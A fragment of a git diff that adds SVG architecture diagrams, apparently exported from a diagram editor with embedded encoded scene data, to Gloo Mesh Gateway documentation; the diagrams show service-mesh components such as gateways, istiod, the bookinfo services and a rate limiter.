KONcYv71ibkv8Jg8fq7Hzlxcq1x1MDAwN25O7lx1MDAxZvvPjWVcdTAwMGX1mFx1MDAwNlwiiaAm1OBf5HhPf9xcYlx1MDAxMXxdc1x1MDAwYs007L1rxlx1MDAwMOZ2xI7kTtO83aeBIGXPK5JcdTAwMGWtXHUwMDFmObYvU/HVTpBcdTAwMTIjjCX6s6WOm2wphd+b4WhHXHJT7bvMoHQrwv1W0Um2mPFHXHUwMDFjIcZcdTAwMDVsXHUwMDE1kUwjRVeHXHJpizCjhIgy/UNcdTAwMTT5PX/HJdLgtirvXHUwMDE5hlx1MDAwYlx1MDAxMo8ppk3xXHTiJnuMqZUlSYtcdTAwMGKtMZUm3VuCXHUwMDBlPGqBXHUwMDE3wmzhXHUwMDBmiMS2flDwupZcdTAwMDDRSzxD7fTA9rZs1MDKXUuQambZVkDlwkSmXHUwMDE1/ltLz5WpzVx1MDAwNVaG2/f1JdJdnTBcdTAwMTi7R45cdTAwMTWcZ1CqXHUwMDFiRI7Lsft0WmSvLrrhq6ZcdTAwMTT1y1x1MDAwNmPdwFx1MDAxYnlgw9lzQFx1MDAxNmPHXHUwMDAycVx1MDAwYtC0yYWDI1x1MDAwNIbgLlx1MDAxMt3bXHTjz8jDSDAhQFx1MDAwZf1xXHRcIv/xonuVyJV64emwX4xnW1xy0W/cjFM+i0pXvnJATFOrO6hcdTAwMDXKKJ0taDtoSKR7XHUwMDAzfkZcdMhXgf07i7xcdTAwMWZ2UKEhXHUwMDAwXHUwMDA0QH+CXHUwMDEwMy1R8MXBXHUwMDFhXHUwMDAyJPje5IgrMuScWYBcdTAwMDakQMqkRThklSpcdTAwMGIzQZBcdTAwMDKjWFxuwFx1MDAwNXOZ83vQlFx1MDAxNCZf4lx1MDAxYodufCcwbISmj83nXFz+edgqptqj83C3W3h1gmDYolxmjE0+XHUwMDFi92xMS2b70K9cdTAwMTGUymLmXHJhWlxyYaXQqtHpXHUwMDBiXHUwMDE2emvVJbAqsZnJiDRcdTAwMDdjl1K0OqxcdTAwMTOb6S/zkFx1MDAwM17NijkqYOh24mdvrlx1MDAxY3Y32PTPr1x1MDAxYvwo9nr3Izhzn4/jx7hRnVxcuOdi/PNr54xQqppv9T//+8///n/tSNiTIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientKeycloakhttpbin workspacehttpbin.org \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg new file mode 100644 index 0000000000..3cf948c436 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcySbPuff9cblfv2486OVx1MDAwZvuOQUFcdTAwMTFcdTAwMTXFXHUwMDAxTp/lYpJ5Rlx1MDAxMfba//1E8lx1MDAwZVx1MDAxNNRAMUnRr3Q3tlx1MDAwMllJVsZcdTAwMTNPRMbwP3+dnf09nvarf//32d/Vz3Kx3ahcZouTv/9j/v5RXHUwMDFkjlx1MDAxYb0uvETmv49678Py/J318bg/+u//83+K/b61+JRV7nV+fLLarnaq3fFcYt77f+H3s7P/mT/brjWslsfFbq1dnX9g/tLiclKJ1b/e9LrzS1PJMZKa6N9vaIxcdTAwMTJwuXG1XHUwMDAyr75cdTAwMTXbo+riXHUwMDE186e/se7gfFx1MDAxM3fa9++DcmN438qJXHUwMDExX1xc9a3Rbj+Mp+1cdTAwMWbfq1iuv1x1MDAwZm1zXHUwMDFhjYe9VvW5UVx1MDAxOdfhdbzy99+fXHUwMDFi9WBcdTAwMDVcdTAwMTafXHUwMDFh9t5r9W51NFr6TK9fLDfGU/M3hH7/9cdcIvz32eIvn/CbkohbmMM3pcI8L0Yxn2dcdTAwMDRcdTAwMGKLa0QpJoIoyVbmXHUwMDE177V7QzOv/0JKvvHSYmalYrlVg+l1K4v3YFJSSizeM/n5bVx0Ulx1MDAxNrE92OKm1KuNWn1s3kOEpe1cdTAwMGbbVKrzW1x1MDAwMqMwhSldfNhcXL9/WVlsjvlfyctHmzfV2+OE5DJvqWFcdTAwMTfzj+LvSZnxSqpffW28Z2Jpen91las1ss/675+v/7/VO1MvXHUwMDBl+z/vwN8j84ttXHLM1z9f3aH2XWrbPYXXl4Ggg9KsPGndk7vheXxUf7RNy7ali8Nhb/L371f+9z9+4348Nu5yz61G9UolXHUwMDEybzPUfio+omDjOr7ye79S/LH/sWBKXHUwMDExhSVsnYWEtFx1MDAxYt1cdTAwMTa82H1vt/+yzWxDmZTaSyYxQ4ggxiRcdTAwMGUslNNK6vzt5TXxVuh9Zq+uXHUwMDFi1bjs9UIvlJpSXHUwMDBiUS1cdTAwMTTh8CzVslBixS2FXHTnlClYfukplExzxKW/UFx1MDAxMqJKVVx1MDAxN6HEhKAliVMuQqlcdTAwMWNSyDTDmnOijieF8y+4pVx1MDAxNFaG59lKYdhsd89z8dxbhUdeVXRcdTAwMGZSyGnvblx1MDAxNHnRtPn2UfpcdTAwMThGevl64iHMUqiQp2bEXHUwMDFjLihcdTAwMDSmMrBcdTAwMTTWMo2XWH9cItMvg5vLx8fSO7nud8IuhZpQZpNCRVZVo1xuJoXHV41cdTAwMThcdKolwohcdTAwMWRPKo+kXHUwMDFijyM9gkhP6YFbQShHNLhcdTAwMGUrZuIvuFx1MDAxY1x1MDAxZlxcxTNyVGav6Vx1MDAxOGpHQy89XFxhS8LGY5qYZ7EsPZhri1x1MDAwNpKe+cNXesbDYnfUL1x1MDAwZWErOSVIabksXHUwMDFkTlx1MDAwMYJdYFx024M75EdcdTAwMTHNmFwi4ojys4tW61x1MDAxMppJNF6uXHUwMDE5zVx1MDAwZj9VmcVnxYvLPWi12sPDR7T1ki508r3k9KYxi0bTtTDLJVx1MDAxM8RTLsHGXHUwMDExSmJNg8slXHUwMDFiJoap0qTWyj70XHUwMDFh6OJGosdk2OVSXHQqQyGXiq6XS7wqiUwyLsHOXHUwMDBiMb38anOJe6tcdTAwMWHCXHUwMDE4LFx1MDAxN+zpwFt6XHUwMDFjf613O93P0uPb+On1Jnk7eVLt0G9pXHKblnuaS1x1MDAwNLOTIWpcdTAwMThYXHUwMDFhwYiS4+3vP4qocW9cdTAwMDcgVohrjvVcdTAwMDZcbuEy3Vx1MDAxZnfz5JO0p7J6XHUwMDE3zbTlZeb866RcdTAwMDdtJz1Czlx1MDAxNVx1MDAwMsOIXHUwMDAw/KNcdTAwMTUzhyNsXHRYXHUwMDBiXG5YQrDNrt+rs0FcbrYkXHUwMDFh1Ck91KZcIn6JXHUwMDBisDKNtCAh5mVfzXBs6Oew26VxnenghkctMcnd5Gtvpeig2468PyRu0X3onWdcdTAwMWFcZixcdTAwMWaCw4lcbkhwdtBcdTAwMDZcdTAwMTKhdeRcdTAwMDZg3on+SiuCjspu/iz09+FOSkmw91Rw6nTVKL7MxJ1s6MRLXCLXuojjXHUwMDFhR+FcdTAwMTdcdTAwMTaGfIRFXGJcdTAwMDLCglxiZZhpMFxyXHUwMDBlJSwuXFxcdPhcdTAwMTSyP6hDWjghSDN8qlx1MDAwNz6DWV5cdTAwMTfubtPnvbuXXCKKpj8liYXbeNbeh6VcdTAwMWHBXHUwMDA1JVxuTpV6XHUwMDE5rD+atzeX6VFvkG10su2rXHUwMDA3L0NjZdcvy8rqkeQh/cFcXPjIink1kJmhXHUwMDA0qeqyv6yUqqxUKblcdTAwMTAl4ElcdTAwMWVi8Vt0uJMnYSY16JZTNStcdTAwMWXJ3Vus/5BcdTAwMWFWWadK7rvN18vMvbuojKuf46DuKzlulEbVmVwiVy+N9kvnLVJ9oWxcdTAwMGZusfPXbFx1MDAxY2fY1aRXyuC7l7FOpz5cdTAwMDNcdTAwMWX2+I5b/iglZaJcdTAwMWJr5lx1MDAxYfRBpaa5Zvy8tIdxXHUwMDBmtLynMuzSu/9cdTAwMTP0glx1MDAwMWd7fX7zWqmTXHUwMDFiKbPpTPRmeH77xO6OjPJLX3RcdOC9T95cdTAwMTFcdTAwMTVcdTAwMTRcdTAwMTEpg5/5+d+nsPIhXCL8Ti3InFx1MDAwZlx1MDAwNcD4t/lje+8o5lx1MDAwYr32XHUwMDFi2JnN+P5cdTAwMDHsXHUwMDFhWFx1MDAxOZFMLb5E6HB9q+272CW97vihMavOXHUwMDE54dJfL4qdRnu6dKPn+1x1MDAxYabU6NaGMLuzf7o1uOCkOLXfh1FcdTAwMTWuY8Zjy1x1MDAxZoy2XHUwMDFite5cdTAwMWNlYebV4ZJ8jFx1MDAxYuVi+/dcdTAwMWI6jUrFzpDKMJtcIow5vFxmwmx6w0at0S22cyuT/TXV7flcdTAwMTmnnvyMIMok3Yig6dlnKjV+LrNYPlp7zFx1MDAwYlx1MDAxMbnGXHUwMDE3oSdozEd4KSdhJWhcdTAwMWE+xpBgJ2r4x4r319ep1n3zY9zq527eZt1oK/nNz/bFz1x1MDAwZbS8XHUwMDA3XHUwMDFhXHUwMDE2P3XLovz0WmpWn+MomszG0OTmXHUwMDBmWoV1dNL9gkekfaBcdTAwMTY8aZ/x+2jG1VwiJGKd3vBfz9DSPu7nM6Y8oM/4i2hcdTAwMWbcXHUwMDE0pDhjPMSuryPwvmpxNJ5UR+MjXHUwMDExvzWMaZX4/Z7t7sxPXHUwMDEyz0NcdTAwMWZKlUSMsOB223v5Y1bPXHUwMDBle/f1z+vzaVxcfSQvenfbXHUwMDEwv69MYiDSXHUwMDAyy00jJs3zSlx1MDAxMoM2Rz5CYVx1MDAwNK8jwYmn+Fx1MDAwNohp2TPxkzApLNmpXHUwMDEyv9xzanBcdTAwMTNcdTAwMTOMPsUuyqPsXHKajaVHuPQ38dt83Fx1MDAwMy3vaVxym8+83TevYrpcXLub5sb9x2TivrWP4MVTWYV1fNL9gkfkk9KWJraijaTWQjOJg7sh/JczpHRSSUr89Fx1MDAxMeOWWugjujKvXHUwMDAz00nikjnHQUdihL/p5JmNTjZG40av4kohsVxcevfeKORcdTAwMWHu5fBcdTAwMWT+mOFcdTAwMGXEkXqKKkaMaaxcdTAwMThcdC6rXT67ulTPXHUwMDFk9t69l+xa5Fx1MDAwNun7ariZoyZcdTAwMTJbwFx1MDAwZrnEXGaehV6RVIotJjUhyCQ9XHRvSVxywlx1MDAxYz2D37ZijopcdTAwMTAhXGJcdLPM+qnJXvWjnFx1MDAxOTy3ulElePdxwFx1MDAxYu1O7Js57os5XHUwMDFlaHlcdTAwMGY07JPOakVVrtkqXFxcdTAwMGZrapJ4XHUwMDFmTJp7WIVMXHUwMDAzRTqynn9sPt48fIh2RFTr7X1QR1SWtVwiXHUwMDFhpvHT+LGYTKAkXHUwMDFldPcwLmiLampYL8qPcT3XTJUu06+1yVx1MDAxZcatNK5l8iUu8q3Pu3YpLWPoc7KP3PJT2WXrKLT7XHUwMDA1j0mhhXdYOkVKcoF4cI+O/3qGlEODZlx1MDAxNr6aXHUwMDE5Xl1oZu/CXHUwMDE0X+WSXHUwMDE1SFxuTalcYrEn51xiXHUwMDFjOtnu9c4y1VH97J9usba0wF/gkV1DSFfp9GKyP6a6lehyW3GK1VN4pYVEXFxcdTAwMDVn1IOM6kdmLP6YXHUwMDFk5XPRUv/u4u1cIvTWL0acIItcIs1cdFXz52XRZZhYXFwrXCKklEjh1YnZXHUwMDAyhpVgRf+gYl/RJdylZoUtSOKX6FKmtVSan2h0ZEQkavft99uXq2lcbjVcdTAwMDaJ2WWWXHUwMDBlXHUwMDBlXHUwMDFmYuZcblxmaumvPsBQ6vVaje5b72zSXHUwMDFituBcdTAwMGWWq67IQPjSJ4Mjw7jX94KFpcmvYoDLvHxh4MeKuuCA8Fx1MDAwZaZjYLpJrUTwQ1X/W1x1MDAxY0rLXHUwMDFhUID6pVx1MDAxNjCOgp2pXHUwMDA2QFx1MDAwMW/TXHUwMDFhXHUwMDExi3AqsTa62Vx1MDAwNDE6XHUwMDAxXHUwMDAxrG+phVBcZmaJsKBO1c41wlx1MDAwNqqOXHUwMDE4ZXeQLDPbXHUwMDA1i8NxrNGtNLo1eG2BMb/qq11cdTAwMDbQRnOZL7/PXHUwMDEzXHUwMDExLc65YpQg+IFcdTAwMThb0DOzdsW+mZz1g9fNn1x1MDAwNaHs51x1MDAxYn5T+L+r3cpiSkvTbVx1MDAxN0fjeK/TaYzhi971XHUwMDFh3bHrXHUwMDE3ilx1MDAxYdGsV4tcdTAwMGWZh5Htr63KcN+MuHxrXHUwMDE3/3e22ObzX37////7j+u7I95b0DxcdTAwMWObbzHeX/afXHUwMDFih/Iyz8wmgpSpbMdwcPiZpLu1QWusb5KRWCxVTE1Sr555gOGBXHUwMDFm4lx1MDAxN1xmXGJcdTAwMTbU/pLCveCHMFx1MDAxN1x1MDAwMlwibefPv9JYXHSYMuqovrzDXHUwMDAyzE5cdTAwMTQh8jaEN4LQjv7pdoudqjdbXHUwMDEw29pcdTAwMTG7slx1MDAwNfcpbie5yjtcYl9zYTK0bedJ6yT3+v3hpZebfNLzyyhp3XTub1xu5WzoJZcyi3hKrqR0f1x0vJ6SS11Sdl0kV2lcZrMgLMTUwM90OFJcdTAwMGXinnDB3NBww4LbXGa3MydcdTAwMTTzPKmjQlxuXHUwMDA0XHUwMDBiXHUwMDFl3K3gn6hcdTAwMWRWVCDaUlx1MDAxNDilNpbFaplcboGoXHUwMDA1skgwplxuXHUwMDE4zm6Zyj5lKiyuNVx1MDAwM1x1MDAxY+bAsNRcdTAwMDJ7fmNcdTAwMDSyXHUwMDAwXGaQ5tpU1JCAXHUwMDBmzOlvYEJcdTAwMTOGhTyiv+FL7YlV8r3e0vAvPLFkaVx1MDAxMMpcdTAwMDXFXG7BfSVcdTAwMDSW3cXUIFx1MDAxNieSgurUXHUwMDA07DhBtMPWOC2LwmtcdTAwMTfOX3XZgFx1MDAxYtpcdTAwMTSeXHUwMDE4XHUwMDA0skVX/2yrl4AxXHUwMDE2KHi9XHUwMDA0f91cdTAwMTNiXHUwMDEwQmCqwepSym1cdTAwMDDwg5pcYmHNXHUwMDBiozJcIlx1MDAwNJViZWKHXHUwMDAxIeJcdTAwMTIugCxNqIQ9QFx1MDAxMFx1MDAxM8bn7FJpXG5LXHUwMDEwXG6N/1x1MDAxNFx1MDAxMPKCXHUwMDFhf4a8XHUwMDA0NaB5wIqXXHUwMDFjXHUwMDEzSkDLYNubfiBcclx1MDAwN9qKXGInZmm5RoI7gCZcdTAwMTD6+VdcdTAwMTJZnlx1MDAxMtGgS5CAO03nV3aBP5PQ+mtWgsDG/XfB32L/zz/v2PlcdTAwMWKin3dUoyf2SclcdTAwMDRQXHUwMDBmXHUwMDFk3KFcdTAwMTLNvk9uppPyTbl/XHUwMDE16949xarPuXj4z3VcdTAwMThFllx1MDAwMNSjXGLDM1ktS45h/1x1MDAwYqYpY4CAciePrv+5jlxmdK5DXHUwMDE43H9cdTAwMTLm3Ojf11xiT8Xw3Uyzn6kso7Cd6rjMa0tcbiRtqXCO+mpCKapcdTAwMDRcdTAwMGVcdTAwMWWZ4X+TQ8qBXHUwMDE4llx1MDAxNkZCSVx1MDAwNdqHO+rHmnKBpihcdTAwMWZXmOqdXHUwMDBld338qtSC11x1MDAxNDZcdTAwMTRcdTAwMTfBQIt7sjjWoVx1MDAxNiMwP6zAZMTOSrKAVlx1MDAxNDOQhn9bKdlNXHSQvy5aYlx1MDAxYtRoXXNcdTAwMTBcdTAwMDa2hamJ7eRcdTAwMWHU4rDiwDWIxkIsbI9cclx1MDAxOZB/146lOcFCXHUwMDEwLVx1MDAwNOdMUlx1MDAxM3cvnZMyflx1MDAwM/iHKUak2ZfOSZ1cdTAwMTRcdTAwMDHy3v3msbrvN6Q//lx1MDAxNcCUZ/lszsyNxzQ4XHUwMDA3evm4blHZfFx1MDAxZNZcdTAwMWFqNImwfjRyO9tcdTAwMDb7vrDAhCZ+R9qcc4uLPVx1MDAxNZhYjVvbLVpcXIDMUnKylSXzb1x1MDAxZqP7QrmVo+V0qV57+6xcXPJzdzJcdTAwMTSGaPFKNE/1c/FCZlx1MDAxZpql+udTK9uK4j2MXHUwMDFiyb+QcTNRr7d1XCLbYU/1SLr5vIdxXHUwMDBmtLynMuy68GD3XHUwMDBi7odv+4Kx51x1MDAxOSH3JKFcdTAwMDQsUWP0XHUwMDA098P5L2dIbVFAYu6HxJJaaE9IvC46eC1cdTAwMWE7XHUwMDEz7rRGpppcdTAwMWFcbrFpeoRY4f6wV3kvj/vFmrvVeKikuzVEZNWWtE9zeyrFbeuyakdcdTAwMDKp41x1MDAwMtuPoNfJcEadk97o4aFAO9Fr2U+Wk4VaIeRcXEr6VlNcdTAwMDXCsjdcdN43l9JYa4bViTbTavLI8G46eL14yETir9P4LYo+Xe+ulVx1MDAwZjTsqVG0YeWq2KjURrzycfvcLb7lL0k8v4dxT+uu7X3YdVx1MDAxNM39gkekaGBcZnviu1x1MDAwNuwzKVx1MDAwN8H9hP7rXHUwMDE5Vo4mfWupXG4t92Ytb1FcdTAwMDXB2eSNaMQ1U8dcZstcYiErq1SBK7VH7oxMLb19b4xsXHKdWWVkv6a4XHUwMDAzXHUwMDFik96NIEzHXHUwMDE0U2otuLRcdTAwMTYv6vnCW6qezLcj4/7g8l6Oz1x1MDAxMyFnY1x1MDAxYfuxMalFWNlcdTAwMTg2PZpcYlx1MDAwZXVccmQ/VXnZqqGXp0S1rKuVLo7HU8n77O3uXHUwMDFh+LSGPVx1MDAxNGs60HSnmVxcqn//XHUwMDExlZXojJdn/Wo53kuEd7p7XHUwMDFmdlx1MDAxZFx1MDAxYnO/4DHZmPfBhUlcdTAwMWUnXHUwMDAynoJcdTAwMDfV+69nWNlcdTAwMTiApFx1MDAwZsIrc3R3PDbmcJFRboJ3jppzXHUwMDE3QjI2LI5cdTAwMWLdmlx1MDAwN1x1MDAxOTuQe2xccptZJWO/prhcdTAwMGJcdTAwMTnzXHUwMDE0VoJAVo35XHUwMDE0WFajkW5iVFx1MDAxZF29Xd3NZIfHbkuFaMj7XGbBO1x1MDAxNPF1jeGwkjGCKeNcdTAwMTiJYzbK3qkn1/3N+02veTd9XHUwMDFhPMrhMHOXQii1u1x1MDAwMj6tYVx1MDAwZnXKeKDpXHUwMDFlioydyk1bR8bcL3hUMuZZIVx1MDAwNVx1MDAxM6w45WSD4kb+61x1MDAxOVIyZiDer1x1MDAwYrvQKlS+McVcdTAwMDTFjIe5Qsox2Fj1o1GdfK1rbFxyn3GwsZ9T9Fx1MDAxNVTvaFeCPZORKVVEYk2CS6r/kctGkrpawv2QZlx1MDAxM2dcdTAwMTahVJiIVlwi+UrMuyDS0lRLXHUwMDA2lFx1MDAwNzPhnfGzq6AqMM+o4JIzqeChXVwiXlx1MDAxObE0UlQjLDBR1EWKhaKIij8+4tX/wP9sXHUwMDExXWqS6YDOMoSYokJcdTAwMTg3ge1dv0NeqVx1MDAwNEGgmFx1MDAwYlhbKbdcZnn193kvT4pijIkh2rAmXG5rZ1x1MDAxY662XGJmXGZcdTAwMGKhXGJoXHUwMDEwgrBjTidcdTAwMTXx6rn5zcOx7Vx1MDAxN8P9Zf+5OfpR5Fx1MDAxZKPBTL1cdTAwMTbCZPCka39aXHUwMDFkUviDd1BtMYFN2lx1MDAwZlx1MDAxOHZO/NNcdTAwMTbWglJCTT+aw1x1MDAxMVx1MDAxNVx011GmjFx1MDAwZVwiSCGuXFxcbjlRYFRcdTAwMWFuXHRhap7qtlxufybaXHUwMDFmQJxcdTAwMWSzXHUwMDBi7mnhXHUwMDFmII2SsF5EK46ZXHUwMDEywpnyiJlcdTAwMDV3X4JcXFxuTTloy19cdTAwMTWMNoQ/f16zPCdgotLkmcHFXHUwMDE4odxtTkhSXHRcdTAwMTOGXHUwMDFiXHUwMDBlQsrIScOf59Y3j9VNvyH4+TvisGfKI+fmoFxc6uBO8+r1Ra1cdTAwMWGJ1qvDeP1ulC5l+iXa3Fx1MDAwZf6+spGDID6laEyFu0BmWpB8b0xKIEQuyIeQpe1cdTAwMGYn8mHiTG9cdTAwMTJg2lFgJCF2oP++houbxL9EydJcdTAwMWX+sr7J/sKiPb3WJvNcYuhcdTAwMGLaoN7jSy3zVOqpznDY+szN0qrSqVdOQFioj7BcYuNR/lx1MDAwMmFxilx1MDAwN8Cmly97QVxyNIBcdTAwMTk6JjXYyW99nDpOO0hcdTAwMGLxPuPBQCaw2qBjXectXCLKVd14jkX65etYbpAsXGanXHUwMDFl0lx1MDAxMpIzXHUwMDFljZhfjTPO5f5aXHUwMDE17zn6XHUwMDE57DDFTrZV8bvkr9Pi7Fx0yWd1+Vx1MDAxY1x1MDAxOSSK2WePtPowhCnXXHUwMDA3fFjv5MblQktdsWlCyN7Fy1x1MDAxZcbVlzf8XHUwMDAy38puO559b1RKOqVmelx1MDAwZuNcdTAwMWVoeVx1MDAwZjRs/la0k8n8q3y/7o1u84/qdVBcdTAwMWKGd1x1MDAxNVx1MDAxMjcvn1xixydZPVOvsenwTcZcbndhnO66Iyn3XHUwMDBifoFO8kyo8yZvXHUwMDE4g3GFXHRRwU1cdTAwMWT/9VxmKXtcdTAwMDONpP00kuTBqm5cdTAwMWUro05qjkmY85v/oIy6NYTsQFx1MDAxOXXc86yKmIJcdTAwMTVio1x1MDAxMpn9SfGxUL5cdTAwMTWXXHUwMDFmo8Jn467ULlx1MDAxNuz93cLIKZVSyM/+UmRvXHUwMDEyvPdcdTAwMThuhDTg7Kk6K1x1MDAxZadcdTAwMDPM6ST9VitcdTAwMGXksPM5io8vMrvr+1x1MDAwM1xye2pcXHVWT1eyhfdStHxXm5SGqWfZLVb2MO5p3bVTXHUwMDE5dlx1MDAxZPdzv+BcdTAwMTG5XHUwMDFm9y6mIKU5YeAkOPXzX86QUj9QXHUwMDFj3E9xaL03Z8ReXHUwMDEy9ajkSFx1MDAxY7ddQlxiyd4xXHUwMDEy9dawpP0n6lx07N1b3ESGmz4rgYU1Wbl7nUbTl4mbYaVCXHUwMDFhN/3ULXtcdDfHM1x1MDAxZMP9eiNoXHUwMDE1Wo7HNCWC4DDHXHUwMDEw+ilKPU28dC8nKZHNPlI56jxMR1FcdTAwMGbWtIn+Pa1hXHUwMDBmRcVOa1x1MDAxNU5l2HVUzP2CR6RiwjvcVCjK51x1MDAwN0OB0d1/OUNKxVx1MDAwMN/9qJjC/JhUzOl2XHUwMDEzSmiGvksm/NjeR8zSW8Nl9p+lJ5B3gVx1MDAxM06UiVx1MDAxN1xmzsRInYhp/fW1kb78aD7cqfveOOZVXHUwMDBmPSxMXGbk09fbXHUwMDE2sEvV1zMxPu+Tok/V2XY7TFRKY8Rue+lrVuk/9SeFaWl37Xtaw1x1MDAxZer89rRW4VB09FRWYVx1MDAxZMFzv+AxXHSed9VDQjmiSGxA8PyXM6xcdTAwMDSPYOxnwKOAXZG/iOBhrSjWUobZalx1MDAwZlvm34FcdTAwMTjeXHUwMDFhjrTnzD/q3epLK5NrXHUwMDEzPDzP/1xcKKSJL1x1MDAxYUlpmVaCXHUwMDAyXHUwMDExXHUwMDEzW79K7yiysPqavD9KwPblXHUwMDFj4Xk8t1Nq1+b9MUxcdTAwMDT8c8yQvVDkvfiHJZwt5/0xSVx1MDAxNDI5rlLAZlcuWSZ7Svzz96GfeSf+UezMRvz3Jf65737zOFxc4lx1MDAxZvM+ZVx1MDAxMCaOXHUwMDA0s1xyWjD7U/Wwwlx1MDAxZlx1MDAxNsSCjY+44oxrvlx1MDAxOOUn/GGLsa9J+6OmuYuCXHUwMDFkXHUwMDBmXHUwMDFiwFamMXDaXHUwMDFmXHUwMDEwLkVcdTAwMDRcdTAwMTf8iMeFp1x1MDAwNX+m0Vx1MDAwZtKEUMyIUlSgw6X9+ZOaM8+0P4b/hLQ/961vXHUwMDFlO6b9eUOfX2JcdTAwMDa8RkyDr8DQ52+fh1x1MDAxNfpcYqWwuJKB2GFMV1x1MDAxYpxJLi3OpeawXHUwMDFh0l7lee/QZ7az5lx1MDAxYWvYyYRLN3tccnaBqX5KXHUwMDE0XGJcdTAwMDZcdTAwMTA8XHUwMDA39nHAXHUwMDBlXHUwMDEwXHUwMDE5dMRyXFyhgL7AMFx1MDAwM1x1MDAxY4shZpRcdTAwMDXRoDRcdTAwMTDByKWjKlx1MDAwN3rImZFLwsBC+N1jdEPw8/fZr8xcbkSdzVx1MDAxZOswJS2Uy6yohVx1MDAxMFx1MDAxMZJT04lZYuzsPntK8Fx1MDAxN/Hc/+bh2PlcdTAwMWJcdTAwMDKg/9GGdyQxRvOiN2yD/jptXFxcdTAwMWalY8lnNnm/indniWxcdTAwMTTV6+E+21BaXHUwMDAxv1PGbtTmeXHlOVx1MDAwNFx1MDAwMvDtLzvNs831dlEmXHUwMDA0kFspXHUwMDE05kSA39dwS+R808OH5CzRp1QnyrpEaqxpb3x4tp3n+VAhv+ev2TjOsKtJr5TBdy9jnU59XHUwMDA2bFLrO275o5SUiW6smWvQXHUwMDA3lZrmmvFzXHUwMDBmT/lmNf1cdTAwMGWzvFx1MDAwN1x1MDAxYbYyPM9WXG7DZrt7novn3io88qqif9wqJC8/W1FRvU5X6JhPXHUwMDFh2aeGqO921LW2YqLrXHUwMDE3WVxm61x1MDAwMIGDXHUwMDFmm9is2tUybJyBdbuJO9b/NoX02Fx1MDAwNDSS8NNILGB22upJ+oGOTVxiplx1MDAwMktcdTAwMTnqplx1MDAwNEc4NoFcdTAwMWbF93Hdvvy7XHUwMDFmm/j0XHUwMDA0X8e9Vs9Mfs1vXHUwMDA36qg9JVx1MDAxNVx1MDAwYopcdTAwMTVe8patdVx1MDAxZM7ib7FR7KF/0dTVXHUwMDFhO3++u25cdTAwMTRDT1x1MDAxZInFNSdUIfMsl1x1MDAwNZWK/eVcdTAwMTLsmzoqQFLNJFx1MDAwZfFRp5+ebE14dVhcdTAwMWSTJ167lJeJROb6jce/qeO+qOOBlvd72ENcZruO4blf8PCE9MuZoz1ww9n4hGiiXHUwMDE0XHUwMDBmXpbK/z6FlzpKP41cdTAwMDSvhok6YkW4UkLqXHUwMDEwq6HjxFRXz9qNTmOJXGZ+QdjNXHUwMDFhXHUwMDBl5lx1MDAxMli9mOdcdTAwMGU80rtcdTAwMDdcblx1MDAxODtoXHUwMDEz/+NtdlwiRXEw61x1MDAwZfrTJ/w0bqTfdSv0JFx1MDAxMvlZe3tMSN0ziaRcXDLOWZhTU/1U203ktvzRS7f01edb8zVbf0tmrz3qyH1zyM3HPdDyflx1MDAwZntCw66jpu5cdTAwMTc8JoWk3kl5UioqyFx1MDAwNok+/stcdTAwMTleXHUwMDA2yX3UXHUwMDExxWFjkExILuUxT/3DyCCrlcbXRmyvYV7OiG0zwe05o5SeIdtSXHUwMDAyJSGbJFc8zKp88lqVmdF1XHKVazpyQ6tX27DGr2yqRChcdTAwMDZJlEyg+fOymIKta2lChWBcXFx1MDAwYoJ86lx1MDAwZs9cdTAwMWb+rLFUZaVKaV+sUTC4P/KoXHUwMDExijtcdTAwMWRapyhv38tcdTAwMDa5/5i+vET5sJLJeThEvlnjXHUwMDE2x7WHWd7vYeG900m7eSFuMtHmw5W4182n1KtX+at/5T1be1x1MDAxNO56wSOyUeVdXCJcdTAwMDKIXHUwMDE5VZhLXHUwMDE0vMqj/3qGlI5cdTAwMWE9J3z0XHUwMDFjXHUwMDEzXHUwMDE2W+g571x1MDAwMNWvoqMmQYbI71bOPzf4T7bXXHUwMDE4jVx1MDAxYr3Kl/LRNZxulY/+nOFcdTAwMGWEVHum0SiptVCSXHUwMDA0t1x1MDAxY+O5YnKWfcxO4i+tp1x1MDAwZvR0Xej078JNSLVcdTAwMTDcQp4nXHUwMDBmmphcYn+FkSnqJfhqhPtmhHTfYZRMUYZcdTAwMTBcdLFcdOmnJ3ORfos+adFcdTAwMWGV3rv95EOmXHUwMDEwXHUwMDE58m9Gui9GeqDlPa1he8/dceHqYopcdTAwMGLT4lOr/5nITT7xXHUwMDFlXHUwMDE2t0toJtF4uWY0P/xUZVx1MDAxNp9cdTAwMTUvLvcw7lx1MDAwM0q93aqH9+YnK5Q+c1x1MDAxZn1diVx1MDAxN/6gzbCO6rpf8JhUl3j6c7DSmDEqN1xi+/Rfz5BSXS0k8tOglFkqiFx1MDAwNj1cYtW15dP/XG77pMgkjIVZa1x1MDAxZYHpJtu93lmmOqqf/dMt1pbW10Z62fJcdTAwMDf3RnrX8MZV0ruY7I+pbiW5Pp5YLDCTimBcdTAwMWFcXHJ7V63y61x1MDAxM8vXXHUwMDFhnfEwiT+vrklfhF1ylVx1MDAxNtpinEpEJFx1MDAwNdFdllxcqlx1MDAxMbIkIYSbwv/Kt1x1MDAxYtx68usrusx2fLXIXHUwMDE5d2aJwzyIVCfb12qHXFyRXVx1MDAxNJsrMqilv1x1MDAwNkKGJFxccFKcnpV7nX6vO//CbiBhq22ytyDxpa/hXHJcdTAwMDcuM/TFXHUwMDA271x1MDAxNGshPM1iglx1MDAxNEFM0lxyilj73/